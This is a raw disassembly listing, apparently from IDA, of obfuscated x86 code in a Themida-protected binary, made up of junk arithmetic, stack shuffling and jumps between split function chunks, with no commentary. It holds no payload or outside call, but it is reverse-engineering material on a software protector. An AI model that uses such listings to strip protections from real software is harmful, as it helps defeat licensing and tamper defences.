; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_560162: ; CODE XREF: sub_565996-53F2j
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
pop edi
push eax
mov eax, 667F7760h
shl eax, 5
push edi
mov edi, 33B504C8h
add eax, edi
pop edi
jmp loc_5603AF
; END OF FUNCTION CHUNK FOR sub_565996
; =============== S U B R O U T I N E =======================================
sub_560184 proc near ; CODE XREF: sub_56755A-4F4Dj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056D212 SIZE 0000001C BYTES
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56D212
sub_560184 endp
; ---------------------------------------------------------------------------
loc_560192: ; CODE XREF: Themida_:00566406j
add ecx, edx
sub ecx, 6120270h
pop edx
not ecx
or ecx, 104948F1h
push esi
jmp loc_5670A6
; ---------------------------------------------------------------------------
loc_5601A9: ; CODE XREF: Themida_:0056A032j
mov edx, 4
sub eax, 18FC50B9h
jmp loc_5614AB
; ---------------------------------------------------------------------------
loc_5601B8: ; CODE XREF: Themida_:0056C00Dj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
add edx, ebx
pop ebx
xchg edx, [esp]
pop esp
mov eax, [esp]
jmp loc_55E1E3
; ---------------------------------------------------------------------------
loc_5601D6: ; CODE XREF: Themida_:00569EC7j
add ecx, 60BD2BC1h
pop ebp
jmp loc_56213E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5601E2: ; CODE XREF: sub_56755A-3E79j
sub esi, ecx
pop ecx
mov ebp, esi
mov esi, [esp+6+var_8+2]
jmp loc_5642C7
; ---------------------------------------------------------------------------
loc_5601EF: ; CODE XREF: sub_56755A+7A96j
add edi, 0CFF611DFh
jmp loc_56AB79
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_5601FA: ; CODE XREF: sub_56F653-13DCj
push ecx
push ebx
jmp loc_56C747
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560201: ; CODE XREF: sub_56755A-823Fj
push edi
jmp loc_5652C7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560207: ; CODE XREF: Themida_:00569520j
add ch, 83h
shr ch, 3
xor ch, 0DCh
push eax
mov al, ch
jmp loc_56E874
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560218: ; CODE XREF: sub_56755A+52A0j
pop edx
xor cl, dl
xor dl, cl
xor cl, dl
shr cl, 4
push ebx
mov bl, 0A8h
jmp loc_56E575
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56022A: ; CODE XREF: Themida_:0056BB72j
pop ecx
jmp loc_55C8E2
; ---------------------------------------------------------------------------
loc_560230: ; CODE XREF: Themida_:0055C5E2j
mov edx, 488735FFh
xor edx, 0E6206B2h
xor ecx, edx
mov edx, [esp]
add esp, 4
sub edx, ecx
pop ecx
sub edx, 78067BEAh
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
xchg ecx, [esp]
jmp loc_561308
; =============== S U B R O U T I N E =======================================
sub_56026A proc near ; CODE XREF: sub_565996+1275j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055C16B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CEC6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D3B0 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055EB7D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055FB60 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560557 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561465 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564B18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565EEA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005660F3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566BD7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056712A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A08D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B8C7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056D530 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E8E6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FBD9 SIZE 0000000E BYTES
sub esp, 4
mov [esp+10h+var_10], esi
push edx
mov edx, 0E585CB49h
mov esi, edx
pop edx
sub ebp, 0FC012B5h
add ebp, esi
add ebp, 0FC012B5h
pop esi
jmp loc_55CEC6
sub_56026A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_560290: ; CODE XREF: sub_566504+3CDj
pop ebx
push ecx
mov ecx, edi
jmp loc_56BD8E
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_560299: ; CODE XREF: sub_56CB1B-B18Dj
xor ebx, [esp+8+var_8]
pop esp
push edx
push 408A3F53h
pop edx
not edx
inc edx
push edi
mov edi, 722F6246h
jmp loc_561601
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5602B2: ; CODE XREF: sub_56755A+2BE4j
push esp
pop ebp
push 7698h
mov [esp+16h+var_18+2], edi
mov edi, 24831C4Fh
push edx
mov edx, 0DB7CE3B5h
sub edi, 32EC16CDh
add edi, 1B231112h
add edi, edx
sub edi, 1B231112h
jmp loc_5663B6
; ---------------------------------------------------------------------------
loc_5602E0: ; CODE XREF: sub_56755A-A432j
add edi, 4
push ecx
jmp loc_56DA2B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5602EC: ; CODE XREF: Themida_:0055C843j
mov esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_562B9A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5602FA: ; CODE XREF: sub_56755A-54C1j
xchg edx, [esp+24h+var_24]
jmp loc_56726B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560302: ; CODE XREF: Themida_:00561980j
pop esp
mul cx
push small 2ED7h
mov [esp], dx
jmp loc_561A13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560313: ; CODE XREF: sub_56755A+5204j
add eax, 7165341Bh
jmp loc_56D783
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_56031D: ; CODE XREF: sub_568470+Aj
add esp, 4
shl ebx, 2
xor ebx, 0A379D518h
mov esi, ebx
jmp loc_55F3CB
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560333: ; CODE XREF: sub_56755A-253Aj
mov [esp+24h+var_24], ecx
mov ecx, 7B077762h
push 2C23h
mov [esp+28h+var_28], ebp
mov ebp, 7B077764h
jmp loc_56EE40
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56034D: ; CODE XREF: sub_55CD7B+121D2j
push esi
not [esp+8+var_8]
pop esi
jmp loc_56A150
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_560357: ; CODE XREF: sub_563973-1EE5j
shr ebx, 2
neg ebx
shl ebx, 7
jmp loc_55F48A
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_560364: ; CODE XREF: sub_56CB7D-EDF3j
pop esp
sub esp, 4
mov [esp+0Ch+var_C], edi
push 43B4h
mov [esp+10h+var_10], edx
push 712F4AF0h
jmp loc_55D1A8
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_560380: ; CODE XREF: Themida_:00566D3Fj
pop ebp
add esp, 4
pop dword ptr [esp]
pop esp
add ebx, edi
mov [ebx], eax
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
push eax
push esp
jmp loc_567ABB
; ---------------------------------------------------------------------------
loc_56039D: ; CODE XREF: Themida_:005644F8j
pop edi
pop ebp
push edx
push ecx
push 7A7D6D42h
pop ecx
shl ecx, 4
jmp loc_562819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_5603AF: ; CODE XREF: sub_565996-5817j
push esi
mov esi, 6DEF46E5h
or esi, 36576A39h
neg esi
inc esi
jmp loc_55BCAA
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
loc_5603C3: ; CODE XREF: Themida_:0056F417j
mov [esp], ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_55E271
; ---------------------------------------------------------------------------
loc_5603D9: ; CODE XREF: Themida_:00561F6Aj
mov esi, 1CB61335h
add ebp, esi
pop esi
mov ebx, [esp]
add esp, 4
mov ebx, 331B6141h
sub ebx, ebp
push dword ptr [esp]
jmp loc_563E2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_5603F6: ; CODE XREF: sub_55E99C+1j
mov ebp, 46041DD2h
jmp loc_56BE1D
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560400: ; CODE XREF: sub_56755A+416j
neg esi
jmp loc_56055E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560407: ; CODE XREF: Themida_:005667D8j
push ebp
push edi
push 44505DF3h
pop edi
shr edi, 4
sub esp, 4
mov [esp], ebp
mov ebp, 624E7AE5h
add ebp, 306057FEh
shl ebp, 3
jmp loc_562799
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56042B: ; CODE XREF: sub_56755A-BDF5j
or eax, 5F6332D3h
add eax, 1
push ebp
jmp loc_56E6EB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560439: ; CODE XREF: Themida_:0055E733j
mov [esp], edx
push 3FD7h
jmp loc_56888D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_560446: ; CODE XREF: sub_5635DE+C219j
mov eax, 6382271Ah
mov edx, 6382273Eh
jmp loc_56D61F
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_560455: ; CODE XREF: Themida_:0055DF27j
mov ecx, [esp]
jmp loc_566DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56045D: ; CODE XREF: sub_55E931+ADCAj
mov ebp, 7B1512CDh
or ebp, 3D3A6D26h
jmp loc_56802E
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
loc_56046D: ; CODE XREF: Themida_:005652B4j
add esi, 4
sub esi, 4
jmp loc_567FF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_56047B: ; CODE XREF: sub_565269+E85j
shr edx, 6
jmp loc_560EA6
; END OF FUNCTION CHUNK FOR sub_565269
; =============== S U B R O U T I N E =======================================
sub_560483 proc near ; CODE XREF: sub_55EC76+EAA5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055C53A SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055ED4B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055FE94 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561E2F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056287E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056624E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056839F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056AF46 SIZE 00000017 BYTES
push ebx
mov ebx, 54471FA1h
dec ebx
add ebx, 14DF501Fh
jmp loc_56AF46
sub_560483 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_560495: ; CODE XREF: Themida_:0056C233j
xor ecx, [esp]
jmp loc_55FC6C
; ---------------------------------------------------------------------------
loc_56049D: ; CODE XREF: Themida_:0055CA78j
shr edi, 1
sub edi, 0FA880123h
add eax, 52950808h
add eax, edi
jmp loc_565D7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5604B1: ; CODE XREF: sub_56755A-A4ECj
mov [esp+18h+var_18], ebp
mov ebp, 3E8D1929h
add edi, ebp
pop ebp
jmp loc_569177
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5604C1: ; CODE XREF: Themida_:00568B90j
add esi, edx
jmp loc_56C8E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5604C8: ; CODE XREF: sub_56755A+7D30j
not ecx
push ebp
jmp loc_5702A0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5604D0: ; CODE XREF: Themida_:00568B29j
sub ecx, 4FE52B91h
jmp loc_56EDEE
; ---------------------------------------------------------------------------
loc_5604DB: ; CODE XREF: Themida_:00562CC5j
mov [esp], ebx
jmp loc_55EE06
; ---------------------------------------------------------------------------
loc_5604E3: ; CODE XREF: Themida_:00565FD2j
pop edx
sub cl, 4Ah
mov edx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_56B284
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_5604FE: ; CODE XREF: sub_5615A9+E7E5j
add bh, 0BBh
mov ecx, [esp]
add esp, 4
shr bh, 7
push small 0
sub byte ptr [esp-6+arg_2], bh
mov bh, byte ptr [esp-6+arg_2]
jmp loc_56A8E9
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56051E: ; CODE XREF: Themida_:0056F636j
push esi
push 1134h
mov [esp], edi
mov edi, 39814119h
add edi, 5AF13ED3h
or edi, 5BA4544Fh
push edi
dec dword ptr [esp]
pop edi
sub edi, 41362DA2h
jmp loc_56F172
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560548: ; CODE XREF: sub_56755A+54CAj
pop [esp+18h+var_18]
add [esp+14h+var_14], 4
mov edx, [esp+14h+var_14]
jmp loc_56E8B6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_560557: ; CODE XREF: sub_56026A+6EC9j
add ecx, ebp
jmp loc_566BD7
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56055E: ; CODE XREF: sub_56755A-7158j
shr esi, 7
jmp loc_55F8FA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_560566: ; CODE XREF: sub_55C719+C1D3j
push 312Dh
mov [esp+8+var_8], esp
jmp loc_55EE4A
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_560573: ; CODE XREF: Themida_:00563B7Dj
pop ecx
add esp, 4
push edx
push eax
jmp loc_56EB20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560581: ; CODE XREF: sub_56755A-93CCj
push dword ptr [esp+0]
pop ebx
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_568C03
; ---------------------------------------------------------------------------
loc_560593: ; CODE XREF: sub_56755A+8D11j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_560598: ; CODE XREF: sub_565996+23j
mov ecx, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_560162
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5605A9: ; CODE XREF: sub_56755A-3796j
xor edi, 48A556DDh
push ebx
push esp
jmp loc_56D40C
; ---------------------------------------------------------------------------
loc_5605B6: ; CODE XREF: sub_56755A-288Dj
xor edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
or eax, eax
jz loc_55B858
push 3DCCh
jmp loc_564D8E
; ---------------------------------------------------------------------------
loc_5605CE: ; CODE XREF: sub_56755A+16Ej
mov esi, [esp+10h+var_10]
add esp, 4
push eax
not [esp+10h+var_10]
mov eax, [esp+10h+var_10]
add esp, 4
shr eax, 2
jmp loc_564B47
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5605E6: ; CODE XREF: Themida_:0056F18Fj
xor esi, 59F10E97h
sub ebx, esi
jmp loc_5671C0
; ---------------------------------------------------------------------------
loc_5605F3: ; CODE XREF: Themida_:00566162j
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [esp]
pop esp
add esp, 4
push ecx
push esp
pop ecx
push edi
push esi
jmp loc_5643D6
; ---------------------------------------------------------------------------
loc_56061C: ; CODE XREF: Themida_:00569C1Fj
push esp
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
push 4930h
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5684A5
; ---------------------------------------------------------------------------
loc_560641: ; CODE XREF: Themida_:0056E071j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
shl eax, 1
inc eax
push ebp
mov ebp, 1
sub eax, ebp
pop ebp
sub eax, 45FEDB0Ch
add edx, eax
pop eax
push ebp
jmp loc_56FF3B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56066D: ; CODE XREF: sub_56F7FC-9DE8j
pop edi
loc_56066E: ; CODE XREF: sub_56755A-74D8j
; sub_56F7FC-27FBj
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5691C8
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56067F: ; CODE XREF: Themida_:00565E41j
add [esp+4], ecx
add dword ptr [esp+4], 5CFF4510h
mov ecx, [esp]
jmp loc_566551
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_560693: ; CODE XREF: sub_5702DD-2D62j
mov edi, eax
jmp loc_563CBF
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_56069A: ; CODE XREF: sub_56CEE9-F77Fj
xchg edx, [esp+4+var_4]
pop esp
mov [esp+0], esi
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 1F4B382Ah
neg edx
jmp loc_55C158
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5606B6: ; CODE XREF: sub_56755A+5257j
mov ebx, [esp+0Ch+var_C]
add esp, 4
add eax, esi
add eax, 34B16292h
push [esp+8+var_8]
pop esi
add esp, 4
xchg eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov ax, word ptr [esp+4+var_4]
jmp loc_566F2F
; ---------------------------------------------------------------------------
loc_5606DC: ; CODE XREF: sub_56755A+4D63j
sub esi, 848EC8EAh
push edi
mov edi, esi
mov eax, edi
jmp loc_565A8C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5606EC: ; CODE XREF: Themida_:0056AFADj
push eax
jmp loc_55F58C
; ---------------------------------------------------------------------------
loc_5606F2: ; CODE XREF: Themida_:0056EA13j
add edi, 2B3E4C72h
jmp loc_55F5E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564E24
loc_5606FD: ; CODE XREF: sub_564E24-8994j
push 5F8Ch
mov [esp+4+var_4], ebp
jmp loc_56613B
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56070A: ; CODE XREF: sub_55E931+42F1j
mov eax, [esp+0]
add esp, 4
add esp, 4
sub esp, 4
mov [esp-4+arg_0], esi
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_55F87C
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
loc_56072E: ; CODE XREF: Themida_:00562F5Dj
shr dh, 7
jmp loc_5700EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_560736: ; CODE XREF: sub_570668-13463j
add edx, eax
mov ecx, [edx]
pop edx
mov eax, [esp+0]
add esp, 4
push edi
mov edi, 381C1FB5h
push 7AE8h
mov [esp+4+var_4], edi
xchg eax, [esp+4+var_4]
jmp loc_55C9AF
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560757: ; CODE XREF: sub_56755A+62C6j
add esi, 4
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
add [esp+8+var_4], 6E18683Ah
sub [esp+8+var_4], 79345518h
jmp loc_56257D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560775: ; CODE XREF: Themida_:0055F1BFj
push esi
mov esi, 3C18414Ch
jmp loc_56F3B8
; ---------------------------------------------------------------------------
loc_560780: ; CODE XREF: Themida_:0056E31Cj
xor ebx, ecx
pop ecx
jmp loc_56DBEC
; ---------------------------------------------------------------------------
loc_560788: ; CODE XREF: Themida_:00561176j
mov eax, esp
jmp loc_56723C
; ---------------------------------------------------------------------------
loc_56078F: ; CODE XREF: Themida_:00564ABAj
sub eax, 56AB68C7h
sub edi, 176663DBh
add edi, eax
add edi, 176663DBh
mov eax, [esp]
add esp, 4
add edi, 2
jmp loc_56135C
; ---------------------------------------------------------------------------
loc_5607B3: ; CODE XREF: Themida_:00563295j
neg edx
jmp loc_56A0D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D65
loc_5607BA: ; CODE XREF: sub_560D65+Cj
xor ebx, esi
pop esi
jmp loc_56F63B
; END OF FUNCTION CHUNK FOR sub_560D65
; ---------------------------------------------------------------------------
loc_5607C2: ; CODE XREF: Themida_:005656EEj
xchg edx, [esp]
jmp loc_5624BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_5607CA: ; CODE XREF: sub_56E89A-3F03j
mov esp, [esp+10h+var_10]
pop ecx
jmp loc_56E6DF
; END OF FUNCTION CHUNK FOR sub_56E89A
; =============== S U B R O U T I N E =======================================
sub_5607D3 proc near ; CODE XREF: sub_56755A+260Ej
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00564016 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00564DA5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566748 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00567400 SIZE 00000031 BYTES
push ebp
push edx
mov edx, 7AB67A32h
not edx
add edx, 774926F1h
add edx, 25060A2Dh
jmp loc_564DA5
sub_5607D3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5607ED: ; CODE XREF: sub_56755A-74ECj
add edi, ebp
pop ebp
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
xor [esp+4+var_4], eax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5607FE: ; CODE XREF: sub_56F7FC-68D1j
mov eax, ebp
pop ebp
jmp loc_567306
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564356
loc_560806: ; CODE XREF: sub_564356+70Ej
pop eax
mov ebp, ecx
pop ecx
xor esi, ebp
jmp loc_5692F2
; END OF FUNCTION CHUNK FOR sub_564356
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_560811: ; CODE XREF: sub_56F7FC-F9D7j
push edx
mov edx, 21C1462Fh
not edx
or edx, 2EFA6E5Bh
xor edx, 0FFC74864h
jmp loc_56DBBF
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56082A: ; CODE XREF: sub_56755A+7249j
mov ecx, [esp+4+var_4]
add esp, 4
push 0A71h
mov [esp+4+var_4], esi
push dword ptr [esp+4]
pop esi
jmp loc_56871C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_560842: ; CODE XREF: sub_5635DE+C258j
pop ebp
mov edx, ecx
mov ecx, [esp+0]
add esp, 4
add edx, 5E98455Bh
and edx, 0D57DCFh
push ebp
mov ebp, 5E4F0A96h
or edx, ebp
mov ebp, [esp+0]
jmp loc_55FC77
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_56086A: ; CODE XREF: Themida_:0057051Aj
inc eax
not eax
jmp loc_56BC18
; ---------------------------------------------------------------------------
loc_560872: ; CODE XREF: Themida_:0055EA2Fj
pop ebx
jmp loc_57062E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560878: ; CODE XREF: sub_56755A-B79Dj
mov [esp+1Ah+var_1C+2], edx
push esp
jmp loc_56A8D1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56970A
loc_560881: ; CODE XREF: sub_56970A-CE78j
add eax, 88B0B3Eh
not eax
jmp loc_55DE09
; END OF FUNCTION CHUNK FOR sub_56970A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56088D: ; CODE XREF: sub_56755A-3189j
add edx, 7D7061E2h
pop esi
xchg edx, [esp+1Ah+var_1C+2]
jmp loc_56C58A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56089C: ; CODE XREF: Themida_:005650D7j
push 2265h
mov [esp], esi
mov esi, esp
add esi, 4
push eax
mov eax, 4
add esi, eax
push dword ptr [esp]
pop eax
jmp loc_564BAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5608BD: ; CODE XREF: sub_56755A+3C5Fj
add al, 0BBh
jmp loc_56CAF5
; ---------------------------------------------------------------------------
loc_5608C4: ; CODE XREF: sub_56755A+76C2j
add ch, 87h
sub ch, 1Eh
sub al, ch
pop ecx
add al, dl
add al, 0E8h
push [esp+16h+var_18+2]
jmp loc_567340
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5608D9 proc near ; CODE XREF: sub_56755A-6279j
push ebx
mov ebx, 1A280C58h
add eax, ebx
pop ebx
jmp sub_5646E3
sub_5608D9 endp
; ---------------------------------------------------------------------------
loc_5608E7: ; CODE XREF: Themida_:0056CC28j
mov ebp, 2
sub esi, 7B682427h
add esi, 141170A8h
jmp loc_56CDA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5608FD: ; CODE XREF: sub_56755A-5F40j
mov word ptr [esp+1Ah+var_1C+2], dx
push ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_560909: ; CODE XREF: sub_56755A+492j
mov [esp+20h+var_20], edi
mov edi, edx
mov eax, edi
pop edi
jmp loc_56B2C3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_560916: ; CODE XREF: sub_56E75E-962Cj
mov esi, 3BFF27D2h
shl esi, 7
jmp loc_55E1D8
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_560923: ; CODE XREF: Themida_:0056C70Fj
add ebp, eax
jmp loc_55F9BC
; ---------------------------------------------------------------------------
loc_56092A: ; CODE XREF: Themida_:00562F83j
mov [esp], ebx
jmp loc_57022E
; ---------------------------------------------------------------------------
loc_560932: ; CODE XREF: Themida_:0056591Ej
pop ebx
add esp, 4
push 167Bh
mov [esp], edx
jmp loc_56489D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562FB2
loc_560946: ; CODE XREF: sub_562FB2+32j
push eax
mov eax, 34961E7h
sub eax, 61DA591Eh
jmp loc_5644DD
; END OF FUNCTION CHUNK FOR sub_562FB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BA15
loc_560956: ; CODE XREF: sub_56BA15-2034j
sub esi, 7CAC0F23h
push eax
jmp loc_56845A
; END OF FUNCTION CHUNK FOR sub_56BA15
; ---------------------------------------------------------------------------
